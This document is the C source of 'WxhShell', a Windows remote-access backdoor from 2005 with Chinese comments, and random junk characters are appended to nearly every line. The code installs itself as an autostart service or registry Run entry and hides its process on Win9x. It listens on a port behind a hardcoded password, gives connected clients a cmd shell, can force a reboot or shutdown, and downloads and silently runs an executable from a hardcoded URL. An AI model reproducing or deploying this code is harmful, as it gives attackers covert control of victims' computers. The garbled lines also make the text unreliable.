    if(Boot(SHUTDOWN)) *Oy%($'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B_%O6  
    else { ET3+07  
    closesocket(wsh); {dV!sQD  
    ExitThread(0); TJs@V>,  
    } ?=?9a  
    break; 3N{ ZX{}  
    } iEMIzaR  
  // 获取shell E+eC #!&w  
  case 's': { uL@'Hv A  
    CmdShell(wsh); n\YWWW[wf  
    closesocket(wsh); p*=9Ea:  
    ExitThread(0); Y F W0  
    break; j<i: rk|  
  } kC+dQ&@g{  
  // 退出 iS28p  
  case 'x': { B 6,X)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [zl"G^z  
    CloseIt(wsh); C#.d sl  
    break; _NM=9cWd  
    } 79MB_Is]s  
  // 离开 N~ M-|^L  
  case 'q': { LD}ZuCp!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LpSd/_^b  
    closesocket(wsh); c::Vh  
    WSACleanup(); u|E9X[%  
    exit(1); n15lX,FI  
    break; 5nG$6Hw  
        } i52:<< 8a  
  } -o0~xspF  
  } ,0[h`FN  
G(y@Tor+  
  // 提示信息 =nN&8vRH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V9kL\Ys  
} <rFY$ ?x  
  } _ ;_NM5  
_&6&sp<n  
  return; 8'Ph/L,  
} K3^N_^H  
|(a< b  
// shell模块句柄 g4*]R>f  
int CmdShell(SOCKET sock) Yv jRJ  
{ w`J s "_\  
STARTUPINFO si; R%N&Y~zH  
ZeroMemory(&si,sizeof(si)); iw^(3FcP@C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^+ +ec>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q#N8IUN}4  
PROCESS_INFORMATION ProcessInfo; @[4Tdf  
char cmdline[]="cmd"; I8 {2cM;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j5;eSL@ /  
  return 0; YkLEK|d  
} HLcK d`$/  
Awad!_VdHS  
// 自身启动模式 #b4Pn`[   
int StartFromService(void) Y8 a![  
{ {'#^  
typedef struct SD^6ib/]b  
{ T6ajWUw  
  DWORD ExitStatus; k%Q>lf<e   
  DWORD PebBaseAddress; Ue <Y ~A  
  DWORD AffinityMask; ')/yBH9mR  
  DWORD BasePriority; T7=~l)I  
  ULONG UniqueProcessId; =?f\o*J)  
  ULONG InheritedFromUniqueProcessId; lT3, G#(  
}   PROCESS_BASIC_INFORMATION; |:i``gFj  
5M2G ;o  
PROCNTQSIP NtQueryInformationProcess; ;Qc_Tf=,  
8L<GAe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7usf^g[dh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "[(I*  
5/v@VUzH  
  HANDLE             hProcess; #eT{?_wM  
  PROCESS_BASIC_INFORMATION pbi; 'o2x7~C@  
~',<7eW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D,dmlv  
  if(NULL == hInst ) return 0; 3'O+  
s<|.vVi"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "8J$7g@n@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _(3VzI'G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |:`f#H  
@P6K`'.0  
  if (!NtQueryInformationProcess) return 0; :^71,An >E  
AYd7qx:~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EYd`qk 3  
  if(!hProcess) return 0; BQmg$N,F  
lz EF^6I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Eu ca~%=  
y'xB? >|  
  CloseHandle(hProcess); 41mg:xW(J  
/}-]n81m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Am%zEt$c  
if(hProcess==NULL) return 0; )?joF)  
cfMj^*I  
HMODULE hMod; ^.&uYF&  
char procName[255]; RD_&m?d  
unsigned long cbNeeded; /_l%Dm?  
;FQAL@"Yj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W*e6F?G  
XL>Vwd  
  CloseHandle(hProcess); mQtGE[  
:h=];^/E  
if(strstr(procName,"services")) return 1; // 以服务启动 jn>3(GRGC$  
FF6[qSV  
  return 0; // 注册表启动 SfyZ,0  
} :"g^y6i  
@zB{Ig  
// 主模块 Bjq1za  
int StartWxhshell(LPSTR lpCmdLine) Zk"'x,]#  
{ f%` =>l  
  SOCKET wsl; wAkpk&R  
BOOL val=TRUE; D5Wo e&g,  
  int port=0; 2aX|E4F  
  struct sockaddr_in door; tm@&f  
eZIqyw  
  if(wscfg.ws_autoins) Install(); E#v}//  
O&V}T#8n  
port=atoi(lpCmdLine); /jaTH_Q),:  
/@X!  
if(port<=0) port=wscfg.ws_port; _d 76jmujJ  
R22YKXU  
  WSADATA data; rE;*MqYt&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8{#W F#  
No>XRG+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Urj8v2k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K PSFy<  
  door.sin_family = AF_INET; 5,})x]'x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^90';ACFy  
  door.sin_port = htons(port); R2vT\ 6xv  
VdjS\VYe,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P}29wrIZ  
closesocket(wsl); 4='Xhm  
return 1; SE.r 'J0  
} nICc}U?k  
rn $a)^!  
  if(listen(wsl,2) == INVALID_SOCKET) { u,AP$+Qk  
closesocket(wsl); W@`2+}  
return 1; r/}q=J.  
} Q@?8-  
  Wxhshell(wsl); g>-pC a  
  WSACleanup(); 4~xKW2*`K  
:7UC=GKQk  
return 0; k#uSH eq7f  
#%N v\ g;  
} {L~j;p_G&  
p.6C.2q~s]  
// 以NT服务方式启动 w=:o//~6j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <}t~^E,  
{ /4/'&tY  
DWORD   status = 0; :dq.@:+<R  
  DWORD   specificError = 0xfffffff; VK*Dm:G0  
.7&V@A7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m:B9~ lbT+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <|Srbs+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3}aKok"k  
  serviceStatus.dwWin32ExitCode     = 0; ]8q#@%v }  
  serviceStatus.dwServiceSpecificExitCode = 0; fh_+M"Y0`  
  serviceStatus.dwCheckPoint       = 0; Z,zkm{9*  
  serviceStatus.dwWaitHint       = 0; -]el_:H  
_D~l2M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S&/,+x'c|  
  if (hServiceStatusHandle==0) return; !q\MXS($#u  
^POHQQ  
status = GetLastError(); 9gq+,g>E_  
  if (status!=NO_ERROR) z^lcc7  
{ z]_2lx2e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Drm#z05i[g  
    serviceStatus.dwCheckPoint       = 0; SU ,G0.  
    serviceStatus.dwWaitHint       = 0; <*JFY%y "  
    serviceStatus.dwWin32ExitCode     = status; &O +?#3  
    serviceStatus.dwServiceSpecificExitCode = specificError; M[  {O%!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eH HY.^|  
    return; 37apOK4+  
  } P:D;w2'Q  
H9;0$Y(e-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .~$!BWP  
  serviceStatus.dwCheckPoint       = 0; Fn>KdoByN  
  serviceStatus.dwWaitHint       = 0; zh{,.c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lfvt9!SJ+/  
} UQZl:DYa  
T:T`M:C.  
// 处理NT服务事件,比如:启动、停止 b?{MXJ|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Su/8P[q_  
{ |d$4Fu(M~  
switch(fdwControl) W4;/;[/L  
{ mT:NC'b<9  
case SERVICE_CONTROL_STOP: Ez8k.]qu  
  serviceStatus.dwWin32ExitCode = 0; {FQ@eeU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7|5X> yt  
  serviceStatus.dwCheckPoint   = 0; }y%c.  
  serviceStatus.dwWaitHint     = 0; *\.8*6*$!  
  { acrR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dI%?uk  
  } /KLkrW  
  return; 7}:+Yx  
case SERVICE_CONTROL_PAUSE: [rkw k\m*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >.M>,m\  
  break; NSa6\.W)  
case SERVICE_CONTROL_CONTINUE: #x qiGK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6r|=^3{  
  break; (xfh 9=.  
case SERVICE_CONTROL_INTERROGATE: &szYa-K*  
  break; )I#{\^  
}; C}#$wge  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @U3:9~Q  
} !&xci})7a  
G6QD`ED  
// 标准应用程序主函数 z&cM8w:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,Nt^$2DZW  
{ `Of D^Q=  
c]h@<wnv  
// 获取操作系统版本 j7U&a}(  
OsIsNt=GetOsVer(); QChncIqc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d~AL4~}  
^,0Lr$+  
  // 从命令行安装 V@ g v  
  if(strpbrk(lpCmdLine,"iI")) Install(); pd B\D  
y XKddD  
  // 下载执行文件 43x2BW&&  
if(wscfg.ws_downexe) { {,i-V57-h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \-pqqSy  
  WinExec(wscfg.ws_filenam,SW_HIDE); (H5#r2h%Y  
} DuNindo 8  
J/fnSy  
if(!OsIsNt) { NT0n [o^  
// 如果时win9x,隐藏进程并且设置为注册表启动 8\"Gs z  
HideProc(); 6I: 6+n  
StartWxhshell(lpCmdLine); =[8K#PZ$w  
} y>.t[*zT  
else K-~gIlbQ`  
  if(StartFromService()) `LNhamp  
  // 以服务方式启动 p U9 .#O  
  StartServiceCtrlDispatcher(DispatchTable); e'>q( B  
else s;YbZ*oaMe  
  // 普通方式启动 d&CpaOSu  
  StartWxhshell(lpCmdLine); q\}+]|nGs  
a _+?#m  
return 0; $'I&u  
} =w}JAEE|(i  
Cdib{y<ji  
_XT'h;m  
y] c1x=x  
=========================================== 'UUj(1 f  
C+uW]]~I)  
(De{r|  
HO['o{>BL  
~x!up 9  
(T0MWp0  
" 4MS#`E7LrC  
}rI:pp^KS  
#include <stdio.h> QOo'Iv+EL  
#include <string.h> &n )MGg1%  
#include <windows.h> ^t5My[R  
#include <winsock2.h> ,bXZ<RY$  
#include <winsvc.h> YO.+-(   
#include <urlmon.h> VK]U*V1  
RzjUrt  
#pragma comment (lib, "Ws2_32.lib") ] re=8s6  
#pragma comment (lib, "urlmon.lib") R__:~ uv,  
Nw'03Jzx_  
#define MAX_USER   100 // 最大客户端连接数 7Vsp<s9bj  
#define BUF_SOCK   200 // sock buffer =K18|Q0m  
#define KEY_BUFF   255 // 输入 buffer _yv#v_Z  
q50F!yHC-  
#define REBOOT     0   // 重启 1*9.K'  
#define SHUTDOWN   1   // 关机 qEr?4h  
s{Y4wvQyB  
#define DEF_PORT   5000 // 监听端口 H #_Zv]  
|g)C `k  
#define REG_LEN     16   // 注册表键长度 nFNRiDx  
#define SVC_LEN     80   // NT服务名长度 OQ&N]P2p  
)rK2%\Z  
// 从dll定义API lb. Q^TghU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'ZW(Hjrd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4MzQH-U>/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N! 7}B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )"pvF8JR%3  
:.,9}\LK  
// wxhshell配置信息 1j$\ 48Z  
struct WSCFG { Dz: +. @k  
  int ws_port;         // 监听端口 Sp80xV_B  
  char ws_passstr[REG_LEN]; // 口令 Zk%@GOu\  
  int ws_autoins;       // 安装标记, 1=yes 0=no  /ooGyF  
  char ws_regname[REG_LEN]; // 注册表键名 3T)rJEN A  
  char ws_svcname[REG_LEN]; // 服务名 H\R a*EO~j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a)JXxst  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LigB!M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &/? Ct!_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '\I(n|\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" . ,^WCyvq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I "AjYv4R  
JcR|{9ghT  
}; dtC@cK/,D  
k{SGbC1=VK  
// default Wxhshell configuration sgp.;h'  
struct WSCFG wscfg={DEF_PORT, "l56?@-x  
    "xuhuanlingzhe", z l@^[km{  
    1, [Cl0Kw.LD  
    "Wxhshell", G%erh}0~  
    "Wxhshell", R+M=)Z  
            "WxhShell Service", .>B'oD  
    "Wrsky Windows CmdShell Service", &u.{]Yjx  
    "Please Input Your Password: ", vFVUdxPOw  
  1, *p}mn#ru-  
  "http://www.wrsky.com/wxhshell.exe", kh W.  
  "Wxhshell.exe" UphTMyn3  
    }; 7Jf~Bn  
6{y7e L3!  
// 消息定义模块 9(N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j>\c > U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hC<ROD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c@t?R$c  
char *msg_ws_ext="\n\rExit."; _ Op%H)  
char *msg_ws_end="\n\rQuit."; Zhq_ pus"a  
char *msg_ws_boot="\n\rReboot..."; +` Md5.w  
char *msg_ws_poff="\n\rShutdown..."; f^$,;  
char *msg_ws_down="\n\rSave to ";  )d2Z g  
.EKlw##  
char *msg_ws_err="\n\rErr!";  =_dM@j  
char *msg_ws_ok="\n\rOK!"; E]@&<TFq  
Ei4^__g\'  
char ExeFile[MAX_PATH]; XN df  
int nUser = 0; BsQ;`2  
HANDLE handles[MAX_USER]; NIV}hf YF  
int OsIsNt;  Z1 D  
pDR~SxBXr  
SERVICE_STATUS       serviceStatus; Mn0.! J "  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U#3N90,N=  
L`+[mX&2B  
// 函数声明 P@7>R7gS  
int Install(void); (T%F^s5D  
int Uninstall(void); -zg*p&F  
int DownloadFile(char *sURL, SOCKET wsh); Rt8[P6e"q  
int Boot(int flag); PIri|ZS  
void HideProc(void); UQl?_ [G  
int GetOsVer(void); t1']q"  
int Wxhshell(SOCKET wsl); /q9I^ztV  
void TalkWithClient(void *cs); $J7V]c*-b  
int CmdShell(SOCKET sock); >tM4|w|  
int StartFromService(void); i KSRr#/  
int StartWxhshell(LPSTR lpCmdLine); k~tEUsv  
u[GZ~L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UsE\p9mCuV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !M~:#k  
(?qCtLZ  
// 数据结构和表定义 'Ea3(OsuXn  
SERVICE_TABLE_ENTRY DispatchTable[] = kF|$oBQ  
{ J n.7W5v  
{wscfg.ws_svcname, NTServiceMain}, 1w>[&#7  
{NULL, NULL} ,P~e)<.  
}; R$:-~<O  
# &v4c  
// 自我安装 TNu% _ 34  
int Install(void) YgEd%Z%4  
{ P27Ot1px  
  char svExeFile[MAX_PATH]; /$; Z ~^P  
  HKEY key; j7P49{  
  strcpy(svExeFile,ExeFile); y_WC"  
0)dpU1B#M  
// 如果是win9x系统,修改注册表设为自启动 }9@rhW  
if(!OsIsNt) { wkt4vE87  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 534pX7dg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UynGG@P@  
  RegCloseKey(key); 0}i 9`p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z!v,;MW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h[(YH ;Y  
  RegCloseKey(key); |gk*{3~y  
  return 0; 2f(`HSC'  
    } Jk.x^  
  } UC&$8^  
} 1RkN^FZOxq  
else { 5H._Q  
/M5.Z~|/  
// 如果是NT以上系统,安装为系统服务 s.z)l$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #c|l|Xvq2  
if (schSCManager!=0) '&CZ%&(Gw  
{ RY5e%/bg~U  
  SC_HANDLE schService = CreateService xbiprhdv  
  ( ~vF*&^4Vh  
  schSCManager, ca=MUm=B  
  wscfg.ws_svcname, sD3Ts;k  
  wscfg.ws_svcdisp, v=^^Mr"Z^  
  SERVICE_ALL_ACCESS, n^' d8Y(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6Emn@Mn=  
  SERVICE_AUTO_START, +HE,Q6-A  
  SERVICE_ERROR_NORMAL, C5=^cH8  
  svExeFile, 6UIS4 _   
  NULL, ^aaj=p:c V  
  NULL, {Lju7'5L  
  NULL, [CHN3&l-5S  
  NULL, -Ua5anzB  
  NULL IiKU =^~w  
  ); py$Gy-I~[  
  if (schService!=0)  5+GTK)D  
  { |f}wOkl  
  CloseServiceHandle(schService); ;$eY#ypx  
  CloseServiceHandle(schSCManager); ? ~ybFrc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ &/Nl_#  
  strcat(svExeFile,wscfg.ws_svcname); s\.r3U&6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vb 36R _u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T c-fO /0  
  RegCloseKey(key); # wn>S<  
  return 0; zRh)q,Dt  
    } j\#)'>"  
  } YloE4PAY7  
  CloseServiceHandle(schSCManager); .9DhD=8aIO  
} pDC`Fi  
} 1xxTI{'g[  
<a CzB7x  
return 1; ,9OER!$y  
} B4OFhtYE  
Mf5kknYuL9  
// 自我卸载 ^g'uR@uU  
int Uninstall(void) TGpdl`k\T  
{ pJ?y  
  HKEY key; Kj"n Id)  
Jcvp<  
if(!OsIsNt) { D$hK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { be6`Sv"H  
  RegDeleteValue(key,wscfg.ws_regname); {s@&3i?ZiC  
  RegCloseKey(key); _)CCD33$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lxa<zy~b  
  RegDeleteValue(key,wscfg.ws_regname); tjZS:@3 Z  
  RegCloseKey(key); \KEmfCx'n  
  return 0; ?:PF;\U  
  } gd)VL}k  
} 'mU\X!- 4<  
} ?r0>HvUf!l  
else { i;2V   
@M*5q# s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); enMHKN g  
if (schSCManager!=0) 7n#Mh-vq  
{ ,=6;dT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -OQ6;A"#  
  if (schService!=0) `yXHb  
  { f+Bv8 g  
  if(DeleteService(schService)!=0) { B3u:D"t  
  CloseServiceHandle(schService); YZ0Q?7l7  
  CloseServiceHandle(schSCManager); gA+@p'XnR  
  return 0; c5Hm94, p  
  } xqVIw!J?/}  
  CloseServiceHandle(schService); c}7Rt|`c  
  } h*NBSvn  
  CloseServiceHandle(schSCManager); j W|M)[KJN  
} ][Cg8  
} _'r&'s;<z  
grCz@i  
return 1; 2)`4(38  
} mVyF M -`  
_nW#Cl~  
// 从指定url下载文件 !_1RQ5]^  
int DownloadFile(char *sURL, SOCKET wsh) ]\%u9,b%!  
{ Y&b JKX  
  HRESULT hr; )e\IdKl=  
char seps[]= "/"; X04JQLhy"  
char *token; z!\)sL/"  
char *file; 8z"*CJ@  
char myURL[MAX_PATH]; "M:0lUy  
char myFILE[MAX_PATH]; 3hzKd_  
[lAZ)6E~=  
strcpy(myURL,sURL); @X>Oj.  
  token=strtok(myURL,seps); czp}-{4X  
  while(token!=NULL) )1 !*N)$  
  { w>gB&59r  
    file=token; k| ,F/:  
  token=strtok(NULL,seps); w ]$Hr   
  } 4] I7t  
O9[Dae{i  
GetCurrentDirectory(MAX_PATH,myFILE); nx'D&, VX  
strcat(myFILE, "\\"); 8d"Ff  
strcat(myFILE, file); +/~;y{G..z  
  send(wsh,myFILE,strlen(myFILE),0); rjW\tuZI  
send(wsh,"...",3,0); *5|q_K Pt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ).1 F0T  
  if(hr==S_OK) 4brKAqg.  
return 0; vTU*6)  
else %Y//}  
return 1; a@V`EEZ  
J PK( S~  
} IX) \z  
K.K=\ Y2  
// 系统电源模块 E#m|Sq  
int Boot(int flag) f& >[$zh  
{ ?#P@N4Uw}y  
  HANDLE hToken; &;Jg2f%.  
  TOKEN_PRIVILEGES tkp; gG6j>%y  
f/NfvLi(AU  
  if(OsIsNt) { *Z,?VEO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aaODj>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y)e8pPDG  
    tkp.PrivilegeCount = 1; P4S]bPIp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 05gdVa,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %^CoWbU  
if(flag==REBOOT) { Tweku}D7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5ps7)]  
  return 0; HJeZm  
} a08`h.dyN  
else { p`-Oz]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DYFfq  
  return 0; )UgLs|G~  
} &nyJ :?  
  } YZyV   
  else { I@/+=  
if(flag==REBOOT) { 5:sk&0:@U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5.3=2/  
  return 0; `8sC>)lrwu  
} u?B9zt%$-m  
else { }5qpiS"V9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lrL:v~g  
  return 0; Q^k\q  
} O4.`N?Xq  
} ?6T\uzL +%  
Z_.xglq{  
return 1; cA8A^Iv:0  
} g<(\#F}/  
$WS?/H0C  
// win9x进程隐藏模块 |%l&H/  
void HideProc(void) #M~6A^)  
{ _(%;O:i  
I->BDNk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '`nf7b(  
  if ( hKernel != NULL ) a 0+W-#G  
  { x@*!MC #  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BDiN*.w5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); > t~2  
    FreeLibrary(hKernel); ;5PBZ<w  
  } ews{0  
xjK@Q1MJ  
return; FX,kmre3  
} F+ Q(^Nk  
k|D =Q  
// 获取操作系统版本 W|-<ekH_u  
int GetOsVer(void) >,}SP;  
{ V3v/h V:  
  OSVERSIONINFO winfo; :-)H tyzf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GMW,+  
  GetVersionEx(&winfo); Mv\]uAT`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *1`q x+1  
  return 1; P?/Mrz   
  else ~A$y-Dt'  
  return 0; 4IGn,D^  
} e.VR9O]G  
G{]tB w  
// 客户端句柄模块 %D6HY^]ayw  
int Wxhshell(SOCKET wsl) :&`,T.N.vK  
{ n&\DJzW\#  
  SOCKET wsh; ={[9kR i  
  struct sockaddr_in client; 94Q?)0W$  
  DWORD myID; ]gjB%R[.m  
teX)!N [  
  while(nUser<MAX_USER) ZZ2vdy38  
{ ffI z>Of:  
  int nSize=sizeof(client); n =qu?xu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !Y^3%B%  
  if(wsh==INVALID_SOCKET) return 1; aaRc?b'/  
N.F //n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `/RcE.5n\@  
if(handles[nUser]==0) w 21g&  
  closesocket(wsh); @5tGI U;1  
else s ~>0<3{5  
  nUser++; |] cFsB#G  
  } @ebSM#F?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [Ufx=BPx3  
+[Bl@RHe^  
  return 0; ,%d?gi"&  
} U^ ;H{S  
JyDg=%-$2  
// 关闭 socket t~_bquGk  
void CloseIt(SOCKET wsh) Zonr/sA~  
{ 2F#DJN#  
closesocket(wsh); +<rWYF(ii/  
nUser--; X|4_}b> x  
ExitThread(0); 'n/L1Fn  
} N}CeQ'l[R  
h[>Puoz  
// 客户端请求句柄 s6(bTO.  
void TalkWithClient(void *cs) &`I7aP|  
{ P-?R\(QYtR  
1<F6{?,z  
  SOCKET wsh=(SOCKET)cs; OJT%?P%@{  
  char pwd[SVC_LEN]; Ef\&3TcQ  
  char cmd[KEY_BUFF]; 75W@B}dZd  
char chr[1]; g27)$0&0  
int i,j; Wxa</n8S[n  
H:]'r5sw  
  while (nUser < MAX_USER) { Wa<SYJ  
$ #bWh  
if(wscfg.ws_passstr) { o2R&s@%0@B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c"oJcp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RC~C}  
  //ZeroMemory(pwd,KEY_BUFF); M,dp;  
      i=0; :0'vzM  
  while(i<SVC_LEN) { (w1$m8`=  
B\\M%!a>  
  // 设置超时 @n^2UJ  
  fd_set FdRead; X86r`}  
  struct timeval TimeOut; tvcM< e20  
  FD_ZERO(&FdRead); S!8q>d,%L  
  FD_SET(wsh,&FdRead); )-^[;:B\k"  
  TimeOut.tv_sec=8; UId?a} J  
  TimeOut.tv_usec=0; ->)0jZax  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pcNpr`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Y3g<%6  
;4k/h/o1#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =y0h\<[  
  pwd=chr[0]; kE854Ej  
  if(chr[0]==0xd || chr[0]==0xa) { :aR_f`KMm  
  pwd=0; u?SxaGEa  
  break; hH_\C.bL  
  } YQ`88 z  
  i++; O #5`mo  
    } wUKt$_]``  
51 "v`O+  
  // 如果是非法用户,关闭 socket @me ( pnD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #{5h6IC  
} tZygTvK/S  
#&sn l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o'=i$Eb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Yx /ubg6  
k iu#THF  
while(1) { $|VD+[jSV  
p4@0Dz`Q  
  ZeroMemory(cmd,KEY_BUFF); m%U$37A 1  
?i$MinK  
      // 自动支持客户端 telnet标准   { {+:Vy  
  j=0; 3j\Py'};  
  while(j<KEY_BUFF) { Q+p9^_r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z'}z4^35,  
  cmd[j]=chr[0]; D<lVWP  
  if(chr[0]==0xa || chr[0]==0xd) { c>+hY5?C  
  cmd[j]=0; |`O210B@  
  break; uo3o[ H&#  
  } OySn[4`(i  
  j++; q U^`fIa  
    } },,K6*P  
IYe,VL  
  // 下载文件 U /jCM?~  
  if(strstr(cmd,"http://")) { KNSMx<GP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?:Rw[T@ l  
  if(DownloadFile(cmd,wsh)) LT:8/&\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); */j[n$K>~`  
  else 6A-nhvDP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @!B% ynrG  
  } J )UCy;Y  
  else { K%YR; )5A  
@VnK/5opS  
    switch(cmd[0]) { s}?QA cC  
  07>Iq8<mu  
  // 帮助 RC^k#+  
